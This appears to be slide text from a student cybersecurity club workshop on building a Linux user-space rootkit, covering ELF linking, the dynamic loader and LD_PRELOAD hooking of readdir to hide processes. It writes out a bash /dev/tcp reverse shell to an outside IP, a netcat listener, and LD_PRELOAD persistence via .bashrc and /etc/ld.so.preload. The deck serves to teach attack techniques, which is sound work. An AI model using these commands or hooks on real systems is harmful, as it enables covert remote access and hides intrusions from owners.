

How to Make a Linux R00tkit

UMass Cybersecurity Club 2025





Don't hack stuff without the
owner's explicit permission!





So what is a Rootkit ...?



So what is a Rootkit ...?

Post-exploitation malware that gives the attacker persistent + stealthy root user access

- **Persistence:** Survives reboots, resists removal by security software
- **Privilege:** Gains and maintains root-level control
- **Stealth:** Hides evil processes, files, and activity from users, sysadmins, and security software
- **Requires post-exploitation!**



Kernel Space vs **User Space** (x86 Ring Structure)


No Direct Hardware Access

Must invoke **system calls** to request services from the kernel (file I/O, network, memory allocation)


Runs User Applications

Examples: Chrome, Discord, Powerpoint

Cannot Perform Privileged Operations



Kernel Space vs User Space (*x86 Ring Structure*)



Runs the OS Kernel

Manages processes, memory, device drivers, filesystems,
and more

Full Hardware Access

Kernel code can execute privileged CPU
instructions

Provides a System Call Interface

Controlled “entrypoints” for user space applications to
request services

Types

Techniques

	User Space	Kernel Space	Bootkits	Firmware / Hardware	Modern Kernel Features	Virtualization / Containers
Function Hooking	LD_PRELOAD, libc interposition	Syscall table hooking, inline patching	-	-	eBPF function hooks	Hooking container runtime syscalls
Binary Replacement + Patching	Trojaned ps, ls, patched ELF binaries	Patch kernel text + functions	Kernel image tampering	Flashing evil firmware	-	Patch container runtimes + binaries
Persistence + Load Tricks	Evil cron jobs, startup scripts	LKM autoload, refcount tricks	GRUB/initramfs patches	UEFI implants	Persistent eBPF programs	Namespace/cgroup hiding
Security Subversion	Patch userland security tools	Disable kernel security checks	Bypass secure boot	Disable firmware protections	Hijack LSM hooks (SELinux/AppArmor)	Disable container security features




	User Space	Kernel Space
Function Hooking	LD_PRELOAD, libc interposition	Syscall table hooking, inline patching

Function Hooking:


intercept and redirect function calls at runtime

1. Locate target function
2. Save a reference to the original implementation
3. Redirect calls to the wrapper (or *function hook*)
4. Call original from the wrapper to preserve intended functionality



Reverse Shell

Reverse Shell: A victim machine initiates a shell session back to attacker's system, giving the attacker remote command execution



Reverse Shell

1. Create a listener on the C2 server

`nc -l -p 7070`

nc: "netcat" (aka "the swiss army knife for networking")

Specifies the port to listen on (as binds to TCP port 7070)

Listen mode: starts a listener (or opens a hole) for receiving network connections

2. Initiate a reverse shell connection from the victim server


`/bin/bash -i >& /dev/tcp/35.196.145.50/7070 0>&1`

Start new bash shell in interactive mode (expects user input + shows a prompt)

Redirect stdout + stderr together

Duplicate fd1 into fd0 - make stdin read from whatever stdout currently points to

Special bash feature - when bash sees a redirection to /dev/tcp/HOST/PORT, it opens a TCP connection to HOST:PORT and uses that as the file/socket for the redirection



netcat: "swiss-army knife for networking"

nc

-l

-p 7070

Specifies the port to listen on (so binds to TCP port 7070)

Listen mode: starts a *listener* (a process that waits for incoming network connections)

Start new bash shell in *interactive mode* (expects user input + shows a prompt)

```
/bin/bash -i
```

```
>&
```

Redirect stdout + stderr together

```
/dev/tcp/35.196.145.50
```

```
/7070 0>&1
```

Duplicate fd1 into fd0 – make stdin read from whatever stdout currently points to

Special bash feature – when bash sees a redirection to `/dev/tcp/HOST/PORT`, it opens a TCP connection to `HOST:PORT` and uses that as the file/socket for the redirection

A user would see...

```
# removed all irrelevant output
```

```
asritha@asritha:~$ ps auxf
```

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	813	0.0	0.2	6968	4608	tty1	Ss	18:00	0:00	/bin/login -p --
asritha	946	0.0	0.2	8652	5504	tty1	S	18:00	0:00	_ -bash
asritha	1628	0.0	0.1	7340	3456	tty1	S	23:24	0:00	_ bash -c
										bash -i >& /dev/tcp/35.196.145.50/7070 0>&1
asritha	1629	0.0	0.2	8660	5376	tty1	S+	23:24	0:00	_ bash -i

```
asritha@asritha:~$ lsof -nP
```

COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE/OFF	NODE	NAME
bash	1629	asritha	0u	CHR	136,1	0t0	123	/dev/pts/0
bash	1629	asritha	1u	CHR	136,1	0t0	123	/dev/pts/0
bash	1629	asritha	2u	CHR	136,1	0t0	123	/dev/pts/0
bash	1629	asritha	3u	IPv4	0x01a2b3c4	0t0	TCP	192.168.1.10:50512
								->35.196.145.50:7070 (ESTABLISHED)

*With a **rootkit**, a user would see...*

```
# removed all irrelevant output
```

```
asritha@asritha:~$ ps auxf
```


USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	813	0.0	0.2	6968	4608	tty1	Ss	18:00	0:00	/bin/login -p --
asritha	946	0.0	0.2	8652	5504	tty1	S	18:00	0:00	_ -bash
asritha	1629	0.0	0.2	8660	5376	tty1	S+	23:24	0:00	_ bash -I

```
asritha@asritha:~$ lsof -nP
```

COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE/OFF	NODE	NAME
bash	1629	asritha	0u	CHR	136,1	0t0	123	/dev/pts/0
bash	1629	asritha	1u	CHR	136,1	0t0	123	/dev/pts/0
bash	1629	asritha	2u	CHR	136,1	0t0	123	/dev/pts/0

Part 1:

User Space




*Everything in
Linux is a File!*



/proc

- **Virtual File System (VFS):**
 - /proc is not stored on disk – it is a kernel-provided interface that LOOKS like a filesystem, but is actually generated on the fly
- **Mounted at /proc**
- **Live Kernel + Process State:**
 - Shows the live state of processes, memory maps, network sockets, etc.
- **Read/Write Interface to User space tools:**
 - Tools like ps, top, etc. can read files to get info
 - Can write to files to configure kernel settings (e.g. /proc/sys)
- /proc/self



/proc

```
asritha@ubuntu:~$ ps -p 31337 -o pid,ppid,uid,gid,tty,stat,comm,cmd
```


PID	PPID	UID	GID	TT	STAT	COMMAND	CMD
31337	101	100	100	pts/0	S+	bash	-bash

```
asritha@ubuntu:~$ ls /proc/31337
```

attr	cwd	mem	root	status
auxv	environ	mounts	sched	task
cmdline	exe	net	stack	wchan
comm	fd	ns	stat	...

C Compilation

```
$ gcc main.c a.c -o myprog
```




```
#include <stdio.h>
#include "a.h"

int main() {
    printf("Hello\n");
    test();
    return 0;
}
```

main.c

```
#include "a.h"

void test() {
    puts("from test()");
}
```

a.c

Preprocessor

- Expands macros
- Includes headers
- Removes comments
- Processes #define and #if



```
/* expanded from stdio.h */
extern int printf(const char
*__restrict__ format, ...);

/* expanded from a.h */
void test(void);

int main() {
    printf("Hello\n");
    test();
    return 0;
}
```

main.i

```
/* expanded from stdio.h */
extern int puts(const char
*);

/* expanded from a.h */
void test(void);

void test() {
    puts("from test()");
}
```

a.i


```

/* expanded from stdio.h */
extern int printf(const char
__restrict__ format, ...);

/* expanded from a.h */
void test(void);

int main() {
    printf("Hello\n");
    test();
    return 0;
}

```

main.i

```

/* expanded from stdio.h */
extern int puts(const char
*);

/* expanded from a.h */
void test(void);

void test() {
    puts("from test()");
}

```

a.i

C Compiler

- Translates C into assembly
- Performs syntax and type checking
- Optimizes code



```

# main.s (x86-64, AT&T)
.globl main
main:
    pushq    %rbp
    movq     %rsp, %rbp
    leaq     .Lhello(%rip),
%rdi
    call     printf@PLT
    call     test@PLT
    movl     $0, %eax
    popq     %rbp
    ret
    .section .rodata
.Lhello:
    .string "Hello\n"

```

main.asm

```

# a.s (x86-64, AT&T)
.globl test
test:
    pushq    %rbp
    movq     %rsp, %rbp
    leaq     .Lmsg(%rip), %rdi
    call     puts@PLT
    popq     %rbp
    ret
    .section .rodata
.Lmsg:
    .string "from test()"

```

a.asm


```
# main.s (x86-64, AT&T)
.globl main
main:
    pushq    %rbp
    movq     %rsp, %rbp
    leaq     .Lhello(%rip),
%rdi
    call     printf@PLT
    call     test@PLT
    movl     $0, %eax
    popq     %rbp
    ret
    .section .rodata
.Lhello:
    .string "Hello\n"
```

main.asm

```
# a.s (x86-64, AT&T)
.globl test
test:
    pushq    %rbp
    movq     %rsp, %rbp
    leaq     .Lmsg(%rip), %rdi
    call     puts@PLT
    popq     %rbp
    ret
    .section .rodata
.Lmsg:
    .string "from test()"
```

a.asm

Assembler

- Maps symbolic instructions to opcodes
- Produces machine code (hardware dependent)




```
010010100101010010
100101010100101010
010100101010010101
001010100101010010
101001010100101010
010101001010010010
100101001010100101
```

main.o

```
101001010010101001
010010101010010101
001010010101001010
100101010010101001
010100101001000100
100100101010010010
101001001010100101
```


a.o

ELF File Format



main.o


ELF File Format



ELF File Format



ELF File Format



main.o

Symbol Table

Symbols: *name -> address*

- Symbols: names for code and data inside object files and executables
 - ex. functions (`printf`, `main`, `malloc`)
 - ex. global/static variables (`errno`, `my_global_array`)
- Stored in symbol tables (`.symtab`, `.dynsym`)
- Each entry maps:
 - **Name** -> **Section** + **Offset** + **Binding** (local/global) + **Type** (function/obj)

Symbol Table (example)

ELF File Format

ELF Header
.data
.text
.rodata
.bss
.symtab
...

main.o

Name	Section	Type	Address (relative)
main	.text	FUNC	0x00000000
puts	UND	FUNC	(undefined)
message	.rodata	OBJECT	0x00000000
scanf	UND	FUNC	(undefined)

Name	Section	Type	Address (relative)
main	.text	FUNC	0x00000000
puts	UND	FUNC	(undefined)
message	.rodata	OBJECT	0x00000000
scanf	UND	FUNC	(undefined)

Not relative memory addresses. Just offsets from the start of the section.			
Name	Section	Type	Address (relative)
main	.text	FUNC	0x00000000
puts	UND	FUNC	(undefined)
message	.rodata	OBJECT	0x00000011
scanf	UND	FUNC	(undefined)

main is defined in this object file

puts is undefined -> linker must pull it from libc (or fail!)

message is a constant string -> lives in .rodata section

So main is at beginning of section

message has a 0x11 bytes offset from the start of .rodata

main is defined in this object file

printf is undefined -
> linker must pull it from libc (or fail!)

message is a constant string -> lives in .rodata section

Not relative memory addresses. Just offsets from the start of the section.

Name	Section	Type	Address (relative)
main	.text	FUNC	0x00000000
puts	UND	FUNC	(undefined)
message	.rodata	OBJECT	0x00000011
scanf	UND	FUNC	(undefined)

So main is at beginning of .text section

message has a 0x11 bytes offset from the start of .rodata

Symbol Table (example)

ELF File Format



main.o

Name	Section	Type	Address (relative)
main	.text	FUNC	0x00000000
puts	UND	FUNC	(undefined)
message	.rodata	OBJECT	0x00000000
scanf	UND	FUNC	(undefined)



main.c



a.c



gcc -c main.c a.c




```
1010010101001001010011010100101
0100101001101010100101010101010
0110101001010100100101010101010
0101010010100110101010101010100
1010011010010101001010010101010
1001010010100101001010101010101
00101001101010010101001010101
1010000010100101001010011010101
0101001010011001101010010100100
1010011010100101010010100110
10100110101001010011010100101
0100101001101010010101001010
01010100101010010100101001
010100101001101010101010101010
100110101001010100101010101010
100101010010100101010101010101
00101001101010010101001010101
100110100101010010100101010101
100110100101010010100101010101
01010100101001101010101010101
10010100101001101010101010101
10010100101001101010101010101
01010100101001101010101010101
01010100101001101010101010101
10101001010100101010101010101
01010010101001010101010101010
110101001010010001001010010101
00100110100101010010101010101
```

main.o

```
1010010101001001010011010100101
0100101001101010010101010101010
0110101001010100100101010101010
0101010010100110101010101010100
1010011010010101001010010101010
1001010010100101010010101010101
00101001101010010101001010101
1010000010100101001010011010101
0101001010011001101010010100100
1010011010100101010010100110
1010011010100101010010100110
0100101001101010010101001010
01010100101001010010100101001
100110101001010010101010101010
100101001010010100101010101010
100101001010010100101010101010
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
01010100101001101010101010101
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
01010100101001101010101010101
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
01010100101001101010101010101
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
0010000010100101001010011010101
0101001010011001101010010100100
1010011010100101010010100110
1010011010100101010010100110
0100101001101010010101001010
01010100101001010010100101001
100110101001010010101010101010
100101001010010100101010101010
100101001010010100101010101010
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
01010100101001101010101010101
01010100101001101010101010101
100110100101001010010100101010
100110100101001010010100101010
0010000010100101001010011010101
```

a.o



```
main.c
```



a.c

```
gcc -c main.c a.c
```






main.c




a.c

```
gcc -c main.c a.c
```



main.o



a.o



Static vs. Shared Libraries

Library: collection of object files



libm.a

Static Libraries

- **Self-contained binaries:** no runtime dependencies, portable without needing to install libraries on machines
- **Faster startup:** no dynamic linking or symbol resolution at runtime
- **Larger binaries:** each program has its own copy of the code
- **Harder updates:** must rebuild & redeploy programs to fix bugs or vulnerabilities
- **Lower portability:** linking against system-specific .a may break on other systems/OSes



libc.so

Shared Libraries

- **Smaller binaries:** code lives once on disk and in memory (shared by all processes)
- **Easier updates:** patch the library → all programs benefit without recompiling
- **Lower overall memory usage:** multiple programs share one copy of the code
- **Load-time or run-time flexibility:** can dlopen plugins, swap implementations
- **Slightly slower startup:** dynamic linker must resolve symbols before main()
- **External dependency:** program won't run if the right version of the .so is missing
- **Versioning/ABI issues:** "DLL hell," breakage if incompatible .so is installed

Static vs. Shared Libraries

Library: collection of object files



libm.a

Static Libraries

```
asritha@ubuntu:~$ file  
/usr/lib/x86_64-linux-gnu/libm.a  
/usr/lib/x86_64-linux-gnu/libm.a:  
current ar archive
```




libc.so

Shared Libraries

```
asritha@ubuntu:~$ file /lib/x86_64-  
linux-gnu/libc.so.6  
/lib/x86_64-linux-gnu/libc.so.6:  
ELF 64-bit LSB shared object, x86-  
64, version 1 (SYSV), dynamically  
linked,  
BuildID[sha1]=0123456789abcdef...,  
for GNU/Linux 2.6.32, stripped
```









main.c



a.c

```
gcc -c main.c a.c
```



main.o




a.o

Static
Linker (ld)



myprog



libm.a

Build Time



main.c



a.c

```
gcc -c main.c a.c
```




main.o



a.o

Static
Linker (ld)



libm.a

ELF Header
.data
.text
.rodata
.bss
.symtab
...
myprog

Build Time



main.c



a.c

gcc -c main.c a.c



main.o



a.o



libm.a

Static
Linker (ld)



\$./myprog
exec system call




Build Time





\$./myprog

exec system call



Process Memory





ld(1) — Linux manual page

NAME | SYNOPSIS | DESCRIPTION | OPTIONS | ENVIRONMENT | SEE ALSO | COPYRIGHT | COLOPHON

ld(1) GNU Development Tools ld(1)

NAME

ld - The GNU linker

SYNOPSIS

ld [options] objfile ...

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T's Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in "info" for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and

ld.so(8) — Linux manual page

NAME | SYNOPSIS | DESCRIPTION | OPTIONS | ENVIRONMENT | FILES | NOTES | SEE ALSO | COLOPHON

ld.so(8) System Manager's Manual ld.so(8)

NAME

ld.so, ld-linux.so - dynamic linker/loader

SYNOPSIS

The dynamic linker can be run either indirectly by running some dynamically linked program or shared object (in which case no command-line options to the dynamic linker can be passed and, in the ELF case, the dynamic linker which is stored in the .interp section of the program is executed) or directly by running:

/lib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]


DESCRIPTION

The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it.

Linux binaries require dynamic linking (linking at run time) unless the -static option was given to ld(1) during compilation.


The program ld.so handles a.out binaries, a binary format used long ago. The program ld-linux.so* (/lib/ld-linux.so.1 for libc5, /lib/ld-linux.so.2 for libc2) handles binaries that are in the

Run Time



Dynamic Linker/Loader

- Kernel runs the **dynamic loader** named in the ELF and hands it the executable.
- Loader builds an ordered search list (**link-map**) of the loaded objects
- For each undefined symbol in symbol table, loader searches the link-map, binds address at runtime
- Binding can be lazy or forced at startup



Dynamic Linker/Loader Configuration

- **Search order (runtime):** `LD_PRELOAD` → `LD_LIBRARY_PATH` → ELF `RUNPATH/RPATH` → `/etc/ld.so.cache` → system dirs (`/lib`, `/usr/lib`, ...).
- **During Build-Time:** `-L` (link dirs), `-l` (link lib), `-Wl, -rpath=/path` (embed runtime path), `-Wl, --enable-new-dtags` (emit `RUNPATH`).
- **System config:** `/etc/ld.so.conf` + `ldconfig` → `/etc/ld.so.cache` (fast lookup).

```
gcc -c main.c a.c
```

gcc

Static
Linker (ld)

```
$ gcc main.c a.c -o myprog
```




main.c



a.c



gcc




myprog

~~gcc: GNU C Compiler~~

gcc: GNU Compiler Collection

gcc: GNU Compiler Collection



\$ ldd ls

```
asritha@asritha-laptop ~ % ldd $(which ps)
linux-vdso.so.1 (0x00007f1326140000) libproc2.so.1 =>
/usr/lib/libproc2.so.1 (0x00007f1326094000) libc.so.6 =>
/usr/lib/libc.so.6 (0x00007f1325e00000) libsystemd.so.0 =>
/usr/lib/libsystemd.so.0 (0x00007f1325ce0000) /lib64/ld-
linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2
(0x00007f1326142000) libcap.so.2 => /usr/lib/libcap.so.2
(0x00007f1326088000) libm.so.6 => /usr/lib/libm.so.6
(0x00007f1325bd2000) libgcc_s.so.1 => /usr/lib/libgcc_s.so.1
(0x00007f132605b000) asritha@asritha-laptop ~ %
```

Now on to the cool stuff ...



LD_PRELOAD

- Forces the dynamic linker to load a specific library before looking in search paths
- Let's the attacker hook or replace dynamically linked functions (ex. `open`, `readdir`) without modifying the binary
- Can be set as ENV variable or in global `/etc/ld.so.preload`

```
asritha@ubuntu:~$ cat ~/.bashrc  
  
export LD_PRELOAD=/path/to/evil/library  
...
```

```
asritha@ubuntu:~$ cat  
/etc/ld.so.preload  
  
path/to/evil/library
```

Steps

Remember function hooking?

To find a function (dynamically linked, exported symbol) to replace:

1. **Initial recon**: look at dynamic symbols (`nm -D`) for list of methods you can modify
2. **Code analysis**: trace through program and find functionality you want to modify
 - **Static**: Look through binary/source code
 - **Dynamic**: Use GDB/instrumentation (`strace`)
 - Likely to be using simple abstractions through `libc` (a great place to modify functions!)
 - `open`
 - `read`
 - `opendir`
 - `readdir`

Inspecting ps

```
$ nm -D $(which ps)
```

Inspecting ps

Code analysis: You can look through the code and find how ps is getting process information

- Using procps library
- Looking at method calls
 - main → reset_global → procps_pids_new
 - This creates pids_info struct and sets up some fields
 - Where does pids_info struct get filled?
 - fancy_spew/simple_spew → procps_pids_reap/procps_pids_select
 - Calls pids_oldproc_open → openproc: This creates a PROCTAB struct with finder field which points to simple_nextpid/listed_nextpid
 - Fills read_something field which is a function that reads PID or task. This calls finder function in PROCTAB
 - Call pids_stacks_fetch: This keeps calling read_something until there are no more PID/tasks
- Looking at simple_nextpid, it just reads /proc dir

Inspecting ps

Strace: You can look at syscalls and figure out how it is getting the information (good for simpler programs like ps).

You can also apply filtering (such as remove memory syscalls: `strace -e '!%memory' ps`)

```
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
```

```
fstat(3, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
```

```
...
```

```
getdents64(3, 0x56134dc53ae0 /* 67 entries */, 32768) = 1984
```

```
... Read procs
```

```
getdents64(3, 0x56134dc53ae0 /* 0 entries */, 32768) = 0
```

```
close(3) = 0
```


Making a Rootkit

Now that we know we have to hide directories in `/proc`, let's actually make a rootkit!

For right now, we can just modify `readdir` to skip specific PIDs in `/proc` but there are a lot more things we would need to hook to truly hide a PID (`fstat`, `open`, `opendir`, and all variations)

Making a Rootkit: Saving the Original Function

Most of the time, we want the function to work as expected so we need the original implementation

We can use `dlsym()` to get the address of a symbol in a shared object

```
RTLD_DEFAULT  
RTLD_NEXT
```

Let's get the original address of `readdir`

Making a Rootkit: Saving the Original Function

```
#include <dlfcn.h>

static struct dirent *(*og_readdir)(DIR *dir);

dlsym(RTLD_NEXT, "readdir");
```

Making a Rootkit: Checking for /proc

```
#include <unistd.h>

int dirfd(DIR *dirp);

ssize_t readlink(const char *restrict path, char
buf[restrict bufsiz], size_t bufsiz);
```

CHALLENGE

CHALLENGE
SOLVE DEMO